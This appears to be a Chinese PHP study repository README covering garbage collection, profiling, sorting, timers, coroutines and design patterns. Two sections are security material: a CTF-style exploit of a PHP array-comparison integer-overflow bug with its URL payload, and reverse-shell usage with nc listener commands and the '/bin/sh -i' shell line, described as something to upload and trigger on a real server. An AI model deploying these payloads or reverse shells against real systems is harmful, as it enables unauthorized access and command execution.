<?php
$a = array('item');
$a[] = &$a;
unset($a);
//如果使用最原始的引用计数,$a的refcount=2,使用unset之后refcount-1,
//但是代码已经没有引用指向这个结构了,也就是无法访问array('item'),
//但这个结构依然占据着内存,出现内存泄露。
php 5.3之前使用的垃圾回收机制是单纯的"引用计数":
也就是每个内存对象都分配一个计数器,当内存对象被变量引用时,计数器+1;
当变量引用撤掉后,计数器-1;当计数器=0时,表明内存对象没有被使用,
该内存对象则进行销毁,垃圾回收完成。
"引用计数"存在的问题:
就是当两个或多个对象互相引用形成环状后,内存对象的计数器则不会消减为0;
这时候,这一组内存对象已经没用了,但是不能回收,从而导致内存泄露。
php5.3开始,使用了新的垃圾回收机制。
在引用计数基础上,实现了一种复杂的算法,来检测内存对象中引用环的存在,以避免内存泄露。
PHP中,引用计数为0,则内存立刻释放。也就是说,不存在环状引用的变量,离开变量的作用域,内存被立刻释放。
环状引用检测则是在满足一定条件下触发。
而实际编码中可以通过 gc_collect_cycles() 函数来主动进行环状引用检测,触发垃圾回收。
重量级xdebug:
xdebug_start_trace();
1. 默认会在tmp目录生成一个文件,包含了代码执行时间
2. 可以找到运行很慢的程序出来
3. 是那一行影响了速度,用时情况
xhprof可生产调用链,耗时函数,以图展示等:
// start profiling
xhprof_enable();
// stop profiler
$xhprof_data = xhprof_disable();
➜ PHP git:(master) ✗ php findMaxStr.php
动态计算出某个字符串中连续字符首次出现次数最多的那个字符及个数
例:aabbbacdaadddeeedddmmdddfxxxxxxxxbxxxbxxgbbbbbbbbxxxxxxx
连续出现最多的字符为x
Max Str Info:
array (
'str' => 'x',
'cnt' => 8,
)
将已有序的子序列合并,得到完全有序的序列.
例:
$a=[1,3,5,7,9,18,19,20];
$b=[2,4,6,8,22];
➜ PHP git:(master) ✗ php yield_sort.php
1--->2--->3--->4--->5--->6--->7--->8--->9--->18--->19--->20--->22
场景1:
前端负载均衡,nginx日志分散在多个机器上时,有序合并所有日志
$a = [1,5,7,11,25,78,90,102];
$b = [2,6,8,11,34,42,89,100,120,140];
$c = [4,9,13,27,55,72,92,102,111];
$d = [3,13,19,21,66,85,99,108,138];
执行合并并且排序:php outsort.php
注:outsort.php是demo,这是一个不考虑内存大小的暴力方法,所有并非在外排序,方便演示的demo,而实际是不是这样的,
如果数组内容非常大是不可以这么排序的,$save_arr 在达到指定的count之后需要清空$save_arr并释放内存,将排好序的内容写入硬盘,
而$a,$b,$c,$d也是做演示,实际应该将文件分块以后逐步对小的文件块排序并保存,在读取时也是依次读取适当的内存数据,会有频繁的磁盘读写,
这个地方演示省去了。外排序即使文件再大通过分解最终合并也会完成排序,只是时间问题,当然相对
内排序要慢的多,而内排序是以空间换取时间的一种方式。(例如彩虹表暴力破解也是以空间换取时间的一种方式而已)
外排序的算法步骤如下:
假设文件需要分成k块读入,需要从小到大进行排序。
(1)依次读入每个文件块,在内存中对当前文件块进行排序(应用恰当的内排序算法)。此时,每块文件相当于一个由小到大排列的有序队列。
(2)在内存中建立一个最小值堆,读入每块文件的队列头。
(3)弹出堆顶元素,如果元素来自第i块,则从第i块文件中补充一个元素到最小值堆。弹出的元素暂存至临时数组。
(4)当临时数组存满时,将数组写至磁盘,并清空数组内容。
(5)重复过程(3)、(4),直至所有文件块读取完毕。
$obj = new timeQueue();
//添加任务并制定多少秒之后执行
$obj->add_task('test',[1,2],3);
$obj->add_task('demo',[1,2],2);
$obj->add_task('bug',[1,2],12);
$obj->add_task('test',[3,4],1);
$obj->add_task('test',[5,6],8);
//回调函数
$func = function ($args){
var_dump($args);
};
//设置需要监听的任务
$obj->listen_task('test',$func);
$obj->listen_task('demo',$func);
//移除一个已经注册了的任务
$obj->remove_task('bug');
$obj->run();
---------------
在相应时间之后,相关事件开始运行
功能与上面timeQueue.class.php一样,都是计时器定时任务的实现,
思想有所区别,上面是基于redis的zAdd实现,架构师之路上曾提出一个环形队列的思想,
timeTask.php则是利用环形队列的思想代码实现,在一个闭合的圆环上形成3600个节点,每个节点上
维护一个index的值(需要旋转的圈数),实际环境中task应该固化而不是存在一个变量数组里,
因为假设进程奔溃,那么存储的task就消失了。当然,只是思想,代码可以继续完善
//参数分别为:所执行的task,参数,延迟的时间
timeTask::instance()->add_event('lock',[1,2,1],1);
timeTask::instance()->add_event('root',[8,9,1],1);
timeTask::instance()->add_event('test',[3,4,3],3);
timeTask::instance()->add_event('test',[7,8,10],10);
//设置回调函数
$func = function($args){
echo date('Y-m-d H:i:s').",当前正在执行第".$args[2]."s任务...\n";
var_export($args);
echo "\n\n";
};
timeTask::instance()->listen_task('test',$func);
timeTask::instance()->listen_task('lock',$func);
timeTask::instance()->listen_task('root',$func);
#移除一个已经注册的任务
timeTask::instance()->remove_task('root');
timeTask::instance()->run();
执行结果:
➜ ~ php timeTask.php
2017-03-24 09:19:02,当前正在执行第1s任务...
array (
0 => 1,
1 => 2,
2 => 1,
)
2017-03-24 09:19:04,当前正在执行第3s任务...
array (
0 => 3,
1 => 4,
2 => 3,
)
2017-03-24 09:19:11,当前正在执行第10s任务...
array (
0 => 7,
1 => 8,
2 => 10,
)
php coroutine.php
多任务调度器
task A 0
task BBB 0
task A 1
task BBB 1
task A 2
task BBB 2
task A 3
task BBB 3
task A 4
task BBB 4
task BBB 5
task BBB 6
task BBB 7
task BBB 8
task BBB 9
task BBB 10
task BBB 11
task BBB 12
task BBB 13
task BBB 14
两个任务是交替运行的, 而在第二个任务结束后, 只有第一个任务继续运行.
Usage:
<?php
require('xsshtml.class.php');
$html = '<html code>';
$xss = new XssHtml($html);
$html = $xss->getHtml();
?>
PHP Version > 5.0
IE7+ or other browser
collect from phith0n
<?php
include('config.php');
if(empty($_GET['user'])) die('exit');
$user = ['admin', 'password'];
if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){
echo $flag;
}
?>
<h3><?php echo $flag;?>
分析:
按照正常逻辑是无法获得flag的,but,php是一个神奇的语言。
官方曾发布过一个补丁:
https://bugs.php.net/bug.php?id=69892
问题就出在这儿:
测试:
php -r "var_dump([0 => 0] === [0x100000000 => 0]);"
bool(true)
返回了true,整形溢出
构造payload:
https://localhost/test.php?user[1]=password&user[4294967296]=admin
2^32 == 0x100000000 == 4294967296 所以是:user[4294967296]
所有条件均符合,flag获得,如下图:
终端1:
Mac环境:
➜ ~ nc -l -v -n 0 1234
Linux:
nc -v -n -l -p 1234
终端2:
---
注释:
$shell = 'uname -a; w; id; /bin/sh -i';
man sh
-i If the -i option is present, the shell is interactive.
忘记了这个参数的作用了,sh -i 是激活交互的方式
---
执行:
php php-reverse-shell.php
现实环境中上传shell后,访问让其运行即可
程序会fork一个子进程,并尝试连接某个ip的某个端口
测试时用的是本地的127.0.0.1 1234端口
➜ ~ php php-reverse-shell.php
Successfully opened reverse shell to 127.0.0.1:1234
➜ ~
此时终端1立即获得一个shell的交互界面,尝试去任意命运执行吧
段的合并可能存在子集,交集等情况。不考虑子网掩码的问题
合并前:
1.1.1.1
2.2.2.2
3.3.3.3
1.1.1.1-1.1.1.10
1.1.1.5-1.1.1.15
255.1.1.1-255.1.1.10
合并后:
1.1.1.1-1.1.1.15
2.2.2.2
3.3.3.3
255.1.1.1-255.1.1.10
1.支持自解析: 变量, 数组, if, for, 注释, 等模板语法
学设计模式的初衷,就是知道有这么个玩意儿?脑子里有这么个印象,也不会生套它!
如果设计模式不符合你的习惯对你阅读代码反而是不利的!
硬搬设计模式是错误的。
* 抽象工厂模式为一组相关或相互依赖的对象创建提供接口,而无需指定其具体实现类。
* 抽象工厂的客户端不关心如何创建这些对象,只关心如何将它们组合到一起。
构造者不需要知道具体实现细节
* 定义一个创建对象的接口,
* 但是让子类去实例化具体类。工厂方法模式让类的实例化延迟到子类中。
* 多例模式和单例模式类似,但可以返回多个实例。
* 有多个数据库连接,MySQL、SQLite、Postgres,又或者有多个日志记录器,分别用于记录调试信息和错误信息,这些都可以使用多例模式实现。
* 对象池可以用于构造并且存放一系列的对象并在需要时获取调用
* 原型模式是先创建好一个原型对象,然后通过clone原型对象来创建新的对象。
* 适用于大对象的创建,因为创建一个大对象需要很大的开销,如果每次new就会消耗很大,原型模式仅需内存拷贝即可。
* 简单工厂的作用是实例化对象,而不需要客户了解这个对象属于哪个具体的子类。
* 简单工厂实例化的类具有相同的接口或者基类,在子类比较固定并不需要扩展时,可以使用简单工厂。
* 只实例化一次
* 与简单工厂类似,该模式用于创建一组相关或依赖的对象。
* 不同之处在于静态工厂模式使用一个静态方法来创建所有类型的对象。
* 必须存在不可分割的基本元素。
* 组合后的物体任然可以被组合。
* 目的是让持久化数据存储层、驻于内存的数据表现层、以及数据映射本身三者相互独立、互不依赖。
* 最典型的数据映射模式例子就是数据库 ORM 模型 类似。
* 装饰器模式能够从一个对象的外部动态地给对象添加功能。
* 依赖注入模式
* 实现调用者与被调用者的解耦
* 用于为子系统中的一组接口提供一个一致的界面。门面模式定义了一个高层接口,这个接口使得子系统更加容易使用。
* 引入门面角色之后,用户只需要直接与门面角色交互,用户与子系统之间的复杂关系由门面角色来实现,从而降低了系统的耦合度。
* 流接口(Fluent Interface)是指实现一种面向对象的、能提高代码可读性的 API 的方法。
* 其目的就是可以编写具有自然语言一样可读性的代码,我们对这种代码编写方式还有一个通俗的称呼 —— 方法链。
* 比如Sql查询构建器
* 代理模式
* 为其他对象提供一种代理以控制对这个对象的访问。
* 也叫做注册树模式,注册器模式。
* 为应用中经常使用的对象创建一个中央存储器来存放这些对象 —— 通常通过一个只包含静态方法的抽象类来实现(或者通过单例模式)。
* 命令行模式
* 将请求封装成对象,从而使你可用不同的请求对客户进行参数化;对请求排队或记录请求日志,以及支持可撤消的操作。
* 责任链模式(职责链)
* 责任链模式是一种对象的行为模式,在责任链模式里,很多对象由每一个对象对其下家的引用而连接起来形成一条链。
* 请求在这个链上传递,直到链上的某一个对象决定处理此请求。
* 发出这个请求的客户端并不知道链上的哪一个对象最终处理这个请求,这使得系统可以在不影响客户端的情况下动态的重新组织和分配责任。
*/
* 提供一种方法访问一个容器(Container)对象中各个元素,而又不需暴露该对象的内部细节。
* PHP标准库(SPL)中提供了迭代器接口 Iterator,要实现迭代器模式,实现该接口即可。
* 参考:https://www.cnblogs.com/chenssy/p/3250409.html
* 中介者模式
* 用一个中介对象来封装一系列的对象交互,使各对象不需要显式地相互引用从而使其耦合松散,而且可以独立地改变它们之间的交互。
* 又叫快照模式(Snapshot)或 Token 模式
* 备忘录模式的用意是在不破坏封装性的前提下,捕获一个对象的内部状态。
* 并在该对象之外保存这个状态,这样就可以在合适的时候将该对象恢复到原先保存的状态。
* 简化客户端代码
* 减少空指针异常风险
* 更少的条件控制语句以减少测试用例
* 对象的一对多依赖,这样一来,当一个对象改变状态时,它的所有依赖者都会收到通知并自动更新!
* 可以认为是组合模式的一种扩展。
* 有时项目中某些条件决定了业务逻辑,这些条件就可以抽离出来以某种关系(与、或、非)进行组合,从而灵活地对业务逻辑进行定制。
* 状态模式当一个对象的内在状态改变时允许改变其行为,这个对象看起来像是改变了其类。
* 状态模式主要解决的是当控制一个对象状态的条件表达式过于复杂时的情况。把状态的判断逻辑转移到表示不同状态的一系列类中,可以把复杂的判断逻辑简化。
* 实现某一个功能有多种算法或者策略,我们可以根据环境或者条件的不同选择不同的算法或者策略来完成该功能。
* 定义了算法族,分别封装起来,让它们之间可以互相替换,此模式让算法的变化独立于使用算法的客户。
* 模板方法模式又叫模板模式,该模式在一个方法中定义一个算法的骨架,而将一些步骤延迟到子类中。
* 模板方法使得子类可以在不改变算法结构的情况下,重新定义算法中的某些步骤。
* 访问者模式表示一个作用于某对象结构中的各元素的操作。
* 它使你可以在不改变各元素类的前提下定义作用于这些元素的新操作。
* 委托是对一个类的功能进行扩展和复用的方法。
* 它的做法是:写一个附加的类提供附加的功能,并使用原来的类的实例提供原有的功能。
* Repository 模式是架构模式,在设计架构时,才有参考价值。
* 应用 Repository 模式所带来的好处,远高于实现这个模式所增加的代码。只要项目分层,都应当使用这个模式。
* 实现服务使用者和服务的解耦,无需改变代码而只是通过简单配置更服服务实现。
add 在经常听到的设计模式(值-对象模式,代理模式,工厂模式,适配器模式,桥接模式)之外的一个设计模式(享元模式)
模式分析:
享元模式是一个考虑系统性能的设计模式,通过使用享元模式可以节约内存空间,提高系统的性能。
享元模式的核心在于享元工厂类,享元工厂类的作用在于提供一个用于存储享元对象的享元池,用户需要对象时,首先从享元池中获取,如果享元池中不存在,
则创建一个新的享元对象返回给用户,并在享元池中保存该新增对象。
优点
享元模式的优点在于它可以极大减少内存中对象的数量,使得相同对象或相似对象在内存中只保存一份。
享元模式的外部状态相对独立,而且不会影响其内部状态,从而使得享元对象可以在不同的环境中被共享。
缺点
享元模式使得系统更加复杂,需要分离出内部状态和外部状态,这使得程序的逻辑复杂化。
为了使对象可以共享,享元模式需要将享元对象的状态外部化,而读取外部状态使得运行时间变长。